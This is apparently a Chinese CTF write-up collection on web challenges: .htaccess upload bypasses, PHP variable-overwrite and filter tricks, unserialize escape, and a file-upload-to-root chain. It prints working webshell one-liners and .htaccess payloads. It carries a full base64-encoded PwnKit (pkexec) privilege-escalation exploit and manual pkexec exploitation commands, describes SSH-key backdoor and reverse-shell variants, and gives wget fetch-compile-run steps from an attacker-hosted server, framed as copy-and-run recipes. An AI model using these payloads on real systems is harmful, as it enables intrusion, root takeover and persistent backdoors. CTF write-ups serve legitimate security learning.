上传(.htaccess)
进来之后是一个很普通的文件上传的页面:

直接传php文件是不行的,然后就是想着拿.htaccess传上去之后强制把jpg文件当做php解析,但是正常走了之后发现还是不行的,就在考虑是不是<?给过滤了
那这里我们就直接穿一个base64编码的一句话木马,然后再传.hta文件把它解码了之后执行


然后我直接去访问然后传参就可以了

这里再详细的讲一下关于hta文件在不同情况下应该写些什么
先来看我们这道题的hta:
首先我们内容的前两行其实就是在伪造文件头
1 | #define width 1337 |
- 原理(伪造图片头部):很多靶场在文件上传时,会用 PHP 的
exif_imagetype()或getimagesize()函数去检查文件内容。如果它发现文件开头不是图片的格式,就会报错“这不是图片”。 - 妙招:在 C 语言和 XBM(一种古老的黑白图像格式)中,图片尺寸就是用
#define width这种语法定义的。并且,在 Apache 的配置文件里,以#开头的行会被当成注释忽略掉! - 效果:PHP 引擎一看:“哦,有
#define width,这是个 XBM 图片,放行!”;Apache 服务器一看:“哦,这是两行注释,不用管,直接执行下面的配置!”完美骗过双端!
然后往下就是用了一个关键字绕过加上换一个解码:
1 | php_value auto_prepend_fi\ |
原理(关键字绕过 + 文件包含解码):
- 这里本来应该是
php_value auto_prepend_file。这个指令的意思是:“在执行任何 PHP 文件之前,先强行把我指定的文件包含进来执行”。 - 为什么加反斜杠
\?** 因为靶场的 WAF 过滤了auto_prepend_file这个敏感词!在 Apache 里,反斜杠\代表“换行拼接”**。所以咱们把它拆成两半,成功绕过 WAF 检测,而 Apache 在解析时又会把它拼回原样。 - 后面的
php://filter...:这是告诉 PHP:“包含shell.jpg之前,先用 Base64 给它解码!”(这就解释了为什么你之前传 UTF-16 乱码会失败,因为它在等 Base64!)。
然后就是最基础的htaccess文件的语句:
AddType application/x-httpd-php .jpg就是把.jpg文件当做php文件来解析
那么放在其他场景里面来看一下应该写些什么
如果一道题只是限制了不允许上传php后缀文件那么我们传的hta文件里面只需要写一句就可以了
写法:
Apache
1
AddType application/x-httpd-php .jpg
(或者用另一种写法:
SetHandler application/x-httpd-php)怎么打:传这个
.htaccess,然后直接传一个里面写着<?php @eval($_POST['cmd']); ?>的shell.jpg即可。
- 这里本来应该是
情况二:靶场检查了文件内容是不是图片(检查了头部)
场景:限制了后缀名,并且后端用了
getimagesize()检查文件开头是不是真实图片。写法(利用 XBM 伪造):
Apache
1
2
3#define width 133
#define height 133
AddType application/x-httpd-php .jpg怎么打:传这个
.htaccess,然后把木马也伪装一下,比如在你的shell.jpg最前面加一行GIF89a,然后再写<?php ... ?>。
情况三:靶场过滤了 .htaccess 里的敏感关键字
场景:你想用
AddType或者php_value,但是传上去提示“包含非法字符”。写法(利用反斜杠
\换行绕过):Apache
1
2AddT\
ype application/x-httpd-php .jpg(注意:
\后面必须紧接着回车换行,不能有空格)
情况四:靶场极其变态,不仅过滤 .htaccess 关键字,还过滤了木马里的 <?php(也就是你现在这道题)
场景:双重 WAF,限制后缀,检查文件头,还把
<?这个符号拉黑了。写法(终极 Base64 自动包含流):
Apache
1
2
3
4
5#define width 1337
#define height 1337
AddType application/x-httpd-php .jpg
php_value auto_prepend_fi\
le "php://filter/convert.base64-decode/resource=./shell.jpg"传这个
.htaccess。然后你的shell.jpg里不要写任何明文的<?php,直接把木马进行 Base64 编码(比如PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4=),当成内容传上去。Apache 在解析.jpg时,会先用 Base64 解码你的木马,完美避开所有对<?php的检测!
php是世界上最好的语言

先来进行代码审计,这里不准给flag1,flag2去通过post和get方法直接去传参,但是这里又要求flag1和flag2的值都等于8gen1
再往下看就是要求504_sys.com的值不是0或者空了,在之后就是正则了之后eval$sys里面的东西了
PHP 接收到你的 GET 请求 ?_POST[flag1]=8gen1&_POST[flag2]=8gen1 时,它会自动生成一个全局数组 $_GET。 此时,$_GET 数组内部的结构是这样的:
PHP
1 | $_GET = array( |
你看,$_GET 数组里只有一个顶级键名,叫做 "_POST"。 防御代码检查的是 isset($_GET['flag1'])(它问的是:$_GET 里面有没有一个顶级键名叫 flag1?)。 答案显然是没有!flag1 被包裹在 _POST 这个数组里面了。所以,所有的 isset 检查全部返回 false,脚本安全放行。
$_SERVER['QUERY_STRING']是什么?
过了检查之后,代码执行了: @parse_str($_SERVER['QUERY_STRING']);
我们要先搞懂 $_SERVER['QUERY_STRING']。 PHP 有时候会帮你把传进来的参数整理成数组(比如上面的 $_GET),但 $_SERVER['QUERY_STRING'] 非常野蛮,它根本不看 PHP 整理好的数组,而是直接去抓取你浏览器网址栏里 ? 后面的最原始的字符串。
所以,在这里,$_SERVER['QUERY_STRING'] 的值就是一串纯文本: "_POST[flag1]=8gen1&_POST[flag2]=8gen1"
- 致命的
parse_str()函数(变量伪造机)
现在,这串原始文本被送进了 parse_str()。
parse_str(string $string) 的官方定义是:把字符串解析成多个变量,并设置到当前作用域中。 它的工作原理非常机械:它看到字符串里有 A=B,就会在内存里强行生成一个变量 $A,它的值是 B。如果看到 A[C]=B,它就会生成一个数组 $A,里面有个键叫 C,值是 B。
当它处理我们的字符串 _POST[flag1]=8gen1&_POST[flag2]=8gen1 时,极其恐怖的事情发生了: 它看到了 _POST 这个名字。它不管这个名字是不是 PHP 的系统保留字(比如 $_POST 是用来存 POST 请求数据的超全局变量),它直接在内存里强行重写了 $_POST 这个变量!
经过这一步,原本为空的 $_POST 数组,硬生生被它改写成了这样:
PHP
1 | $_POST = array( |
(注意:我们明明发的是 GET 请求,但通过 parse_str 的漏洞,我们成功伪造出了一个包含我们需要的数据的 POST 数组!)
extract()函数(拆包解压)
最后一步,代码执行了: extract($_POST);
extract(array $array) 的官方定义是:从数组中将变量导入到当前的符号表。 大白话就是:它会把数组里的“键名”直接变成“变量名”,把“键值”变成“变量值”。
因为我们在上一步已经把 $_POST 伪造成了包含 flag1 和 flag2 的数组,所以当 extract 处理它时:
- 它看到数组里有个键叫
"flag1",值是"8gen1",于是立刻在系统里生成了一行代码:$flag1 = "8gen1"; - 它看到数组里有个键叫
"flag2",值是"8gen1",于是又生成了一行:$flag2 = "8gen1";
到此为止,内存里真真切切地多出了 $flag1 和 $flag2 这两个独立的变量,并且它们的值都是 '8gen1'。
所以,紧接着的这句判断: if($flag1 == '8gen1' && $flag2 == '8gen1')
再然后就是我们要给504_SYS.COm传参了,php的变量只允许数字字母下划线,也就是说只要是检查到不是上述类别的字符就会直接转化为下划线,但是php底层代码有问题,它只会执行一次这样的操作,这里我们504那一串本来前面的位置就需要一个下划线,那这里直接传504[SYS.COM就可以直接把后面的点给保住了
非常好绕的命令执行
这道题的$evil = $args1.’(‘.$args2.’)(‘.$args3.’)’.’;’;会把我们的三个变量拼接起来并且这里会有两个括号跟在后面,想了一下好像大部分php语法都不支持两个括号,那这里就想到是不是在前面加一个注释符号把后面的过滤掉就可以了
这里还没过滤反引号,我们直接使用反引号来执行命令加上一个echo回显
这里还不允许有空格
ctype_space:查你是不是全是空 / 空格
ctype_graph:查你有没有空格,是不是全紧凑
我本来拿$IFS去绕过的但是这里$也ban了
所以我们这里要想办法去绕空格,直接<就可以了

这又是一个上传(Linux提权)
首先进入题目就看见一个文件上传的页面

直接上传一个php文件:

那我们尝试上传一个jpg后缀的文件然后抓包修改后缀为php,发现是可行的,这里我穿了一个最基础的一句话木马
我们虽然可以直接蚁剑连接,但是我们是没有办法直接打开·文件进行的,也就是说我们这里权限不满足我们这样操作

这里不行之后我又尝试了直接一步一步文件进行命令执行,然后看见根目录下面就直接有一个flag,尝试cat它以及使用了一些其他替代的命令发现这里也是不行的
这道题需要运用的就是一个Linux提权的漏洞了
首先我们进来发现我们是www-data用户,这是一个权限比较低的用户,再想到我们之前不能打开文件,那我们这里更要想办法提权了:
1 | find / -perm -u=s -type f 2>/dev/null |
我们这里直接就可以看见pkexec

详细的讲解就不在这里赘述了,下面先来介绍第一种方法:
我们打开蚁剑的连接到shell的终端
Bash
1 | echo "I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHVuaXN0ZC5oPgoKY2hhciAqc2hlbGwgPQogICAgIiNpbmNsdWRlIDxzdGRpby5oPlxuIgogICAgIiNpbmNsdWRlIDxzdGRsaWIuaD5cbiIKICAgICIjaW5jbHVkZSA8dW5pc3RkLmg+XG5cbiIKICAgICJ2b2lkIGdjb252KCkge31cbiIKICAgICJ2b2lkIGdjb252X2luaXQoKSB7XG4iCiAgICAiICAgICAgIHNldHVpZCgwKTsgc2V0Z2lkKDApO1xuIgogICAgIiAgICAgICBzZXRldWlkKDApOyBzZXRlZ2lkKDApO1xuIgogICAgIiAgICAgICBGSUxFICppbiA9IGZvcGVuKFwiL2ZsYWdcIiwgXCJyXCIpO1xuIgogICAgIiAgICAgICBpZiAoIWluKSBleGl0KDEpO1xuIgogICAgIiAgICAgICBGSUxFICpvdXQgPSBmb3BlbihcIi90bXAvZmxhZ19zdWNjZXNzLnR4dFwiLCBcIndcIik7XG4iCiAgICAiICAgICAgIGlmICghb3V0KSBleGl0KDEpO1xuIgogICAgIiAgICAgICBjaGFyIGJ1ZlsxMDI0XTtcbiIKICAgICIgICAgICAgc2l6ZV90IG47XG4iCiAgICAiICAgICAgIHdoaWxlICgobiA9IGZyZWFkKGJ1ZiwgMSwgc2l6ZW9mKGJ1ZiksIGluKSkgPiAwKSB7XG4iCiAgICAiICAgICAgICAgICBmd3JpdGUoYnVmLCAxLCBuLCBvdXQpO1xuIgogICAgIiAgICAgICB9XG4iCiAgICAiICAgICAgIGZjbG9zZShpbik7IGZjbG9zZShvdXQpO1xuIgogICAgIiAgICAgICBjaG1vZChcIi90bXAvZmxhZ19zdWNjZXNzLnR4dFwiLCAwNzc3KTtcbiIKICAgICIgICAgICAgZXhpdCgwKTtcbiIKICAgICJ9IjsKICAgIAppbnQgbWFpbihpbnQgYXJnYywgY2hhciAqYXJndltdKSB7CiAgICBGSUxFICpmcDsKICAgIHN5c3RlbSgibWtkaXIgLXAgJ0dDT05WX1BBVEg9Lic7IHRvdWNoICdHQ09OVl9QQVRIPS4vcHdua2l0JzsgY2htb2QgYSt4ICdHQ09OVl9QQVRIPS4vcHdua2l0JyIpOwogICAgc3lzdGVtKCJta2RpciAtcCBwd25raXQ7IGVjaG8gJ21vZHVsZSBVVEYtOC8vIFBXTktJVC8vIHB3bmtpdCAyJyA+IHB3bmtpdC9nY29udi1tb2R1bGVzIik7CiAgICBmcCA9IGZvcGVuKCJwd25raXQvcHdua2l0LmMiLCAidyIpOwogICAgZnByaW50ZihmcCwgIiVzIiwgc2hlbGwpOwogICAgZmNsb3NlKGZwKTsgCiAgICBzeXN0ZW0oImdjYyBwd25raXQvcHdua2l0LmMgLW8gcHdua2l0L3B3bmtpdC5zbyAtc2hhcmVkIC1mUElDIik7CiAgICBjaGFyICplbnZbXSA9IHsgInB3bmtpdCIsICJQQVRIPUdDT05WX1BBVEg9LiIsICJDSEFSU0VUPVBXTktJVCIsICJTSEVMTD1wd25raXQiLCBOVUxMIH07CiAgICBleGVjdmUoIi91c3IvYmluL3BrZXhlYyIsIChjaGFyKltdKXtOVUxMfSwgZW52KTsKICAgIHJldHVybiAwOwp9" | base64 -d > /tmp/exp2.c |
再来对该断payload进行讲解:
这段payload的整体架构就是
1 | echo "一长串字符" | base64 -d > /tmp/exp2.c |
1️⃣ echo "..." (打包发货)
- 作用:
echo命令的作用是在终端里打印一段文本。这里它把那一长串看似乱码的 Base64 字符串当作文本输出了出来。
2️⃣ | (管道符:传送带)
- 作用: 这是 Linux 里极其伟大的发明。它像一条传送带,把左边
echo吐出来的那一长串字符串,直接“喂”给右边的命令,而不是显示在屏幕上。
3️⃣ base64 -d (核心解码器)
- 作用:
base64是 Linux 系统自带的编解码工具。后面的-d参数是decode(解码)的缩写。 - 它接收了管道传过来的那一长串代码,瞬间把它还原成了咱们上一回合讲的那段真正的 C 语言源码。
4️⃣ > /tmp/exp2.c (落地写盘)
- 作用:
>是重定向符号,意思是“把前面解码出来的 C 语言代码,不要打印在屏幕上,而是写进一个文件里”。 - 为什么选
/tmp目录?(实战重点): 在 Linux 系统中,你当前的身份是极其卑微的www-data,你在这个系统的绝大多数地方都没有写文件的权限。但是,/tmp(临时文件夹)是 Linux 里唯一一个默认允许所有人(任何人)读写的地方。所以这里是存放咱们黑客武器的完美阵地!
也就是我们把解码后的内容直接写入了/tmp/exp2.c这个文件
理解了大致框架之后就来看这段经过base64编码的内容:
蚁剑的终端是非交互式的终端,所以我们这里直接拿fopen等命令强制执行
1 | #include <stdio.h> |
这里是在蚁剑终端执行的操作,那我们这里必须要编码了再执行,因为在c语言中有着大量例如;等内容,容易误使终端认为命令结束,导致我们无法执行
第二步:在蚁剑终端里依次执行以下命令:
先进入目录并编译(注意咱们这次叫 exp2.c):
Bash
1 | cd /tmp |
那么这里我们为什么要进入到tmp目录呢
然后引爆:
Bash
./exp2
最后查看:
cat /tmp/flag_success.txt

当然以上只是其中的一种情况,还有很多情况下:
🅰️ 情况 A:弹回交互式 Root Shell(最爽的解法)
💡 判断方法(什么时候用它?):
- 靶机出网(能连通你的 Kali 或 Yakit)。
- 你已经有了一个相对稳定的通道(比如你已经通过 Yakit 弹了一个低权限的 Shell 回来)。
- 你想要拿到一个带有
#的最高权限控制台,方便自由地敲命令、找线索。
当然这个方法就需要考虑tty了,下面的b和c是不需要考虑tty的,蚁剑是没有原生tty的,它是一个伪终端,也就是pty,它和原生tty的区别就是原生tty由系统内核直接管理,具有完整的终端口特性;
而蚁剑的pty则是Web 层模拟,依赖目标语言(PHP/ASP/JSP)的执行能力,某些极端场景(如复杂信号、内核级操作)可能不如原生稳定,但日常命令、提权、运维足够用。
那为什么使用方法a就需要我们具有tty环境呢?
- 原理解析: Payload A 的最后一句是
execve("/bin/sh", ...)。它的目的是在当前进程中“召唤”出一个一直运行的 Shell,等待你不断输入ls、whoami等命令。 - 翻车现场: 如果你在蚁剑(没有 TTY)里执行 Payload A,蚁剑底层的 PHP 会帮你执行程序,程序确实召唤出了
/bin/sh并且变成了 Root 权限,但是!这个 Root Shell 找不到可以输出画面的屏幕,也找不到可以接收你打字的键盘。 结果就是:网页一直转圈圈卡死,或者程序瞬间崩溃退出,你什么都看不到。
💻 完整 Payload 代码(在本地保存为 payload_A.c):
C
1 | #include <stdio.h> |
🅱️ 情况 B:盲读/物理搬运 Flag(极其猥琐但有效)
💡 判断方法(什么时候用它?):
- 靶机不出网(你弹不回 Shell)。
- 你只拿到了蚁剑、冰蝎等 WebShell,没有真正的交互式终端(执行
/bin/sh会卡死)。 - 你明确知道 Flag 藏在哪里,只想偷出来。
💻 完整 Payload 代码(在本地保存为 payload_B.c):
1 | #include <stdio.h> |
🅲 情况 C:强写 SSH 公钥留后门(AWD/靶场长久固权)
💡 判断方法(什么时候用它?):
- 靶机对外开放了 22 端口 (SSH)。
- 你想留个后门,以后随时随地敲命令
ssh root@靶机IP就能直接连上去,不需要每次都走 WebShell 去触发漏洞。
💻 完整 Payload 代码(在本地保存为 payload_C.c):
C
1 | #include <stdio.h> |
🚀 终极执行步骤(无脑照做即可)
1. 选好弹头,压缩成 Base64 在你的个人电脑(Kali/Mac)上,选好上面的 A、B 或 C,修改好里面的信息并保存(比如存为 exp.c)。 打开你的本地终端执行: cat exp.c | base64 -w 0 (如果是 Mac 则用 base64 -i exp.c) 把你得到的那一长串乱码复制下来。
2. 在靶机上“一键超度” 切回你的蚁剑 / Yakit 终端,直接粘贴并执行下面这行绝杀命令(把 [你的Base64] 替换掉)。
👉 默认用 /tmp 作为阵地的连招:
Bash
1 | echo "[你的Base64]" | base64 -d > /tmp/exp.c && cd /tmp && gcc exp.c -o exp && ./exp |
👉 ⚠️ 防翻车备用连招(如果遇到报错 Permission denied,说明 /tmp 目录不准执行程序,立刻换下面这个,去 /dev/shm 阵地操作):
Bash
1 | echo "[你的Base64]" | base64 -d > /dev/shm/exp.c && cd /dev/shm && gcc exp.c -o exp && ./exp |
那么如何使用呢?
第一种就是我们题目里面演示的那样,在题目终端里面直接echo我们编码后的内容写入到我们的文件中
第二种方法就是我们先把对应的payload保存为.c后缀文件,然后让靶机访问我们的电脑,那么这里就肯定需要靶机可以出网了
操作步骤:
本机开启兵工厂: 在你的本机上,把
exp.c放到一个空文件夹里。打开终端,在这个文件夹下启动一个极其轻量的 Python 网页服务器:Bash
1
python3 -m http.server 8000
(此时,你的本机变成了一个下载站)
靶机主动拉取: 切换到靶机的命令行终端。利用 Linux 系统几乎必带的
wget或curl命令,把你的武器拉过去并直接编译:Bash
1
2
3
4
5
6cd /tmp
wget http://[你的本机IP]:8000/exp.c -O exp.c
# 如果没有 wget,就用 curl: curl http://[你的本机IP]:8000/exp.c -o exp.c
gcc exp.c -o exp
./exp
优点: 完美绕过命令行长度限制,适合传输极其庞大的漏洞利用代码或二进制后门。
方法三:降维打击 —— 本地预编译(无 GCC 绕过法)
CTF 比赛到了后期,很多出题人会非常恶心人,**直接把靶机上的 gcc 编译器给卸载了!**我们如何去判断gcc编译器是否存在呢?
我们可以输入gcc –version或者gcc -v来查看版本信息,或者我们可以输入command -v gcc,如果环境存在gcc那我们就可以看见一个文件路径,反之不存在那么我们就看不见文件路径
这时候,无论你用 echo 还是 wget 把 .c 源码传上去,靶机都无法编译,直接报 gcc: command not found。
操作步骤: 既然靶机不能造武器,那我们就在自己家里造好,直接把核弹运过去。
环境对齐: 确认靶机的系统架构(通常是 64 位的 x86_64 Linux)。打开你的 Kali 虚拟机(必须也是 Linux 架构)。
拆解 Payload: 你不能再用那个
main函数去调用gcc的自动化脚本了。你必须手动把那段读 flag 的 C 代码保存为pwnkit.c,然后在你自己的 Kali 上手动编译它:Bash
1
gcc pwnkit.c -o pwnkit.so -shared -fPIC
打包上传: 用战术一(WebShell上传)或战术二(
wget),把你在 Kali 上编译好的pwnkit.so这个二进制文件,直接传到靶机的/tmp目录下。手动引爆: 在靶机的终端里,手动敲击原本属于
main函数布置环境的命令:Bash
1
2
3
4
5
6
7
8
9
10
11
12cd /tmp
mkdir -p 'GCONV_PATH=.'
touch 'GCONV_PATH=./pwnkit'
chmod a+x 'GCONV_PATH=./pwnkit'
mkdir -p pwnkit
echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules
# 极其重要:把你刚才上传的 pwnkit.so 移到这个文件夹里
mv /tmp/pwnkit.so /tmp/pwnkit/pwnkit.so
# 注入环境变量并引爆
env -i PATH=GCONV_PATH=. CHARSET=PWNKIT SHELL=pwnkit /usr/bin/pkexec
优点: 终极杀招,彻底摆脱对靶机编译环境的依赖,专治各种被“阉割”的服务器环境。
光顾着讲了,这里来讲一下第二种方法,第二种方法其实就是要利用我们的payloadA的方法了,那我们这里就要想办法搞定tty的东西了
第一种方法就是拿哥斯拉做
网站被黑
进入题目之后是一个飞机票,无法直接看到什么信息,然后使用dirsearch去扫描一下扫到了一个flag.php,我们访问一下发现没有任何东西;
然后我们抓包就会看见提示

我们解码一下就得到了/n0_0ne_f1nd_m3/,我么拿去访问一下

这里我第一次做的时候踩雷了,其实这里很简单,先来讲file参数应该传什么吧
这里既然是有·include了,不需要多说直接伪协议去读文件,这里还提示我们去读imposible.php了,那这里目标就是它了,但是需要·注意的是这里我们不能使用base64编码,因为题目很明确给我们ban了,那这里我们拿rot13编码就可以了:
1 | file=php://filter/read=string.rot13/resource=imposible.php |
然后再来讲text的传参,我这里第一次做的时候就是直接传的那一串字符,发现死活不行,后面才想起来这里file_get_contents()的第一个参数是文件路径,我直接传字符串肯定是不行的,这里需要拿data伪协议做一个绕过:
1 | text=data://text/plain,welcome to the 504sys |
所以我们把两个payload拼接在一起就得到:
1 | ?text=data://text/plain,welcome%20to%20the%20504sys&file=php://filter/read=string.rot13/resource=imposible.php |
然后打开网页源代码解码就得到flag了

/usr/local/lib/python3.5/site-packages/flask/app.py
15615647417334

c31eea55a29431535ff01de94bdcf5cf


c31eea55a29431535ff01de94bdcf5cf1f130d751b5f64bcfb4976ea0f5c4761d48c020eb9771281308cafa6b62f92fb
very php
这里进来就是直接源码,其实这道题难度不是特别高,就是流程·比较多
我们先来看源码可以发现这里给了我们一个qwq类并且里面的oao方法还会显示config.php的源码,那么这里我们应该能想到config里面肯定是有东西的;

然后继续往下走可以看见
然后就是一个特别长的正则,这里就来到了我们的第一个难点:
1 | if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){ |
下面就来详细讲一下这里的正则:
1 | 先来看^$,这两个就是开始和结束符的意思 |
在了解到上述的正则规则的之后我们就直接传参去想办法先拿到hint,这里还要求了我们必须有29个字符,那我们在上面有让我们填充功能的地方塞就可以了
那么我们第一段payload:
1 | shaw[root=-a?<b>rrrrr>>>>RabcRphphp@Rrr |
我们首先要注意
1 | $str = file_get_contents("php://input"); |
这里的php://input伪协议回去读取哦我恶魔女post提交的所有内容,我如果直接拿hackbar串我们的payload
关键点: 虽然你用了 [ 避开了下划线,但 Hackbar 这个插件有个“自作聪明”的特性——它在发送 POST 请求时,为了符合标准的 HTTP 协议,会自动把你输入的 [ 变成 %5B。
- 一旦变成了
%5B,里面那个%符号就立刻命中了黑名单里的%(正则里有%)。 - 所以你还没等传到
extract那一步,代码就在die("I am sorry but you have to leave.")这一行把你踢出去了。
所以离我们这里就还是需要拿抓包软件直接发包

看见了提示,然后题目里面还说我么你要$ans===$SecretNumber
那我们直接去把SecretNumber的值报出来
脚本:
1 | import hashlib |
得出来时21475
****现在可以使用 call_user_func 函数了, call_user_func 是PHP的内置函数,该函数允许用户调用直接写的函数并传入一定的参数,这里直接调用qwq类中的oao: my[ans=qwq::oao****
****显示了config.php的源代码,其中有flag。 最终payload:****
1 | shaw[root=-a?<b>rrrrr>>>>RabcRphphp@Rrr&ans=21475&my[ans=qwq::oao |

毒鸡汤
进入题目之后是这样的,然后瞎点了一下发现还是没啥东西

然后拿dirsearch扫出来个hint.txt和www.zip
其实这里直接去www.zip就会下载网站的源文件了:
其中hint提示我们flag就在根目录里面,人那后我们去看index.php

这里直接就是文件包含:

Unserialize_Escape
进来就是源码:

这里的考点其实就是字符串逃逸
preg_replace(‘/x/‘, ‘yy’, $string);
这里就是整个字符串逃逸的核心,这里会在$string里面把所有的x替换成y,这里之所以要写成/x/是因为preg要求第一个是正则表达式
往下看就是会把user变成一个数组,然后要求passwd的值为123456,但是上面系统自动就已经赋值了passwd=aaaaa了,那这个时候我们就要用字符串逃逸了
首先我们要知道我们要让php读取肯定是
1 | ";i:1;s:6:"123456";} |
”;用于和前面本来的序列化数据进行闭合,后面的
1 | i:1;s:6:"123456";} |
则是要让php识别为123456才是数组索引为1也就是passwd的值,从而把本来passwd的值挤出去
那我们数一下发现”;i:1;s:6:”123456”;}的长度为20
那我们要输入多少个x呢,我们知道一个x会多出一个y,那我们要拼进去是20个字符的”;i:1;s:6:”123456”;}
那么我们这里就直接输入20个x
1 | 情况 1:少 1 个 x → n=19(失败!) |
payload:
1 | username=xxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";} |
自由的文件的上传(script短标签绕过上传一句话木马)
进入题目就让我们传文件,然后我们直接传一个最简单的一句话木马发现这里把?替换成了!,那我们这里就不能直接用php标签来写了

我们可以使用